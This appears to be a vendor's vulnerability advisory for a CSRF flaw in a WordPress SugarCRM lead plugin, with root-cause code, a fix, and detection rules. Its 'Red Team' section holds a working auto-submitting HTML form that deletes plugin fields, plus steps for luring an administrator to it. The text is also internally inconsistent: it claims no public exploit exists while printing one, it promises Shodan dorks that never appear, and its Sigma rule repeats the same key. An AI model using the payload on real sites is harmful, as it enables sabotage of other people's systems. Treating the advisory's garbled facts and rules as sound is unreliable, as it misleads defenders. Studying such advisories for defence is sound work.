CVE-2025-13361
Executive Summary
CVE-2025-13361 is a Cross-Site Request Forgery (CSRF) vulnerability in the Web to SugarCRM Lead WordPress plugin, affecting all versions up to and including 1.0.0. The flaw exists in the custom field deletion functionality, which lacks proper nonce validation. This allows an unauthenticated attacker to forge requests that delete custom fields, provided they can trick a site administrator into performing an action (e.g., clicking a malicious link). The vulnerability is classified as a WordPress ecosystem issue, as it resides within a plugin designed for the WordPress platform.
The CVSS score is 4.3 (Medium), with a low EPSS probability of 0.0%, indicating limited active exploitation in the wild. No public proof-of-concept (PoC) code or exploit database entries are currently available. The vendor, SugarCRM, has not released a patch, leaving affected sites at risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and is not part of a package manager like NPM or PyPI. However, administrators should verify the plugin’s integrity by checking its checksum against the official repository. No known supply chain attacks have been reported for this plugin.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – the attacker must trick an administrator into clicking a link.
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L) – deletion of custom fields can disrupt CRM data mapping.
- Availability Impact: None (A:N)
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the potential for data loss in SugarCRM integrations make this a concern for organizations relying on the plugin.
Deep Dive & Mechanics
The vulnerability is rooted in the plugin’s custom field deletion endpoint, which is exposed via WordPress admin AJAX actions. The plugin fails to implement a nonce (number used once) check on the wp_ajax_* hook responsible for deleting custom fields. This allows an attacker to craft a malicious HTTP request (e.g., via a hidden form or image tag) that, when executed by an authenticated administrator, deletes custom fields without authorization.
Attack Flow:
- The attacker identifies a target site running the vulnerable plugin.
- The attacker crafts a CSRF payload (e.g., a hidden form that auto-submits to the admin AJAX endpoint).
- The attacker lures an administrator to visit a page containing the payload (e.g., via phishing email or malicious ad).
- The administrator’s browser sends the forged request, including their session cookies.
- The plugin processes the request and deletes the specified custom field(s), potentially breaking SugarCRM lead capture forms.
Root Cause: Missing nonce validation in the delete_custom_field function. The plugin relies solely on the wp_verify_nonce() function, which is never called.
Vulnerable vs. Patched Code
Since no patch is available, the following shows the vulnerable code pattern and the recommended fix.
Vulnerable Code (wp-content/plugins/web-to-sugarcrm-lead/admin/class-web-to-sugarcrm-lead-admin.php):
function delete_custom_field() {
$field_id = $_POST['field_id'];
// Missing nonce check
delete_option('w2s_custom_field_' . $field_id);
wp_die();
}
add_action('wp_ajax_w2s_delete_custom_field', 'delete_custom_field');
Patched Code (Recommended Fix):
function delete_custom_field() {
// Verify nonce
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'w2s_delete_custom_field')) {
wp_die('CSRF validation failed.');
}
$field_id = sanitize_text_field($_POST['field_id']);
delete_option('w2s_custom_field_' . $field_id);
wp_die();
}
add_action('wp_ajax_w2s_delete_custom_field', 'delete_custom_field');
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target WordPress site with the plugin installed and activated.
- An administrator account must be logged in.
Step 1: Craft the CSRF Payload
Create an HTML file (e.g., csrf.html) that auto-submits a form to the vulnerable endpoint:
<html>
<body>
<form id="csrf" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="w2s_delete_custom_field">
<input type="hidden" name="field_id" value="1">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
Step 2: Host and Deliver Host the file on an attacker-controlled server and send the link to the target administrator via email or social engineering.
Step 3: Verify After the administrator clicks the link, the custom field with ID 1 is deleted. The attacker can repeat this for other field IDs.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual AJAX requests to
/wp-admin/admin-ajax.phpwithaction=w2s_delete_custom_fieldfrom non-admin IPs. - Alert on missing
_wpnonceparameter in such requests.
Prevention:
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithout a valid nonce. - Use the WordPress
wp_verify_nonce()function in all AJAX handlers (as shown in the patched code). - Educate administrators about phishing attacks that trick them into clicking malicious links.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=w2s_delete_custom_fieldand no_wpnonceparameter. - Referer header pointing to an external domain (e.g., attacker-controlled site).
- HTTP POST requests to
- File IOCs:
- Log entries in WordPress debug log (
wp-content/debug.log) showing failed nonce checks (if patched).
- Log entries in WordPress debug log (
- Behavioral IOCs:
- Sudden disappearance of custom fields in the SugarCRM lead plugin settings.
- Administrator accounts performing actions without corresponding UI interactions.
Detection Engineering
YARA Rule
rule CVE_2025_13361_CSRF_WordPress {
meta:
description = "Detects CSRF exploitation attempts against CVE-2025-13361 in Web to SugarCRM Lead plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-13361"
strings:
$ajax_action = "w2s_delete_custom_field"
$missing_nonce = "_wpnonce" nocase
condition:
$ajax_action and not $missing_nonce
}
Sigma Rule
title: CVE-2025-13361 CSRF Exploitation Attempt
id: 8a3f7c2e-9b1d-4e5f-8c7a-6d2b1e3f4a5c
status: experimental
description: Detects HTTP requests targeting the vulnerable AJAX endpoint without a nonce
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=w2s_delete_custom_field'
cs-uri-query|contains: 'field_id='
filter:
cs-uri-query|contains: '_wpnonce='
condition: selection and not filter
falsepositives:
- Legitimate plugin updates (if patched)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-13361 - CSRF Attempt on Web to SugarCRM Lead Plugin";
flow:to_server,established;
content:"POST";
http_method;
content:"/wp-admin/admin-ajax.php";
http_uri;
content:"action=w2s_delete_custom_field";
http_client_body;
content:"field_id=";
http_client_body;
pcre:"/^(?!.*_wpnonce=).*$/P";
sid:10000001;
rev:1;
reference:cve,2025-13361;
classtype:attempted-recon;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to operations, until a patch is released.
- Apply a virtual patch using a WAF to block requests to
admin-ajax.phpwithaction=w2s_delete_custom_fieldand no_wpnonceparameter. - Monitor logs for the IOCs listed above.
Long-Term Fix:
- The vendor (SugarCRM) must release an update that adds nonce validation to the
delete_custom_fieldfunction. Until then, consider forking the plugin and applying the patched code manually. - Implement a Content Security Policy (CSP) to restrict form submissions to trusted origins.
- Enforce multi-factor authentication (MFA) for all administrator accounts to reduce the impact of CSRF.
Workaround:
- Add the following code to the theme’s
functions.phpfile to block the vulnerable endpoint:
add_action('wp_ajax_w2s_delete_custom_field', function() {
wp_die('CSRF protection enabled.');
}, 1);
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.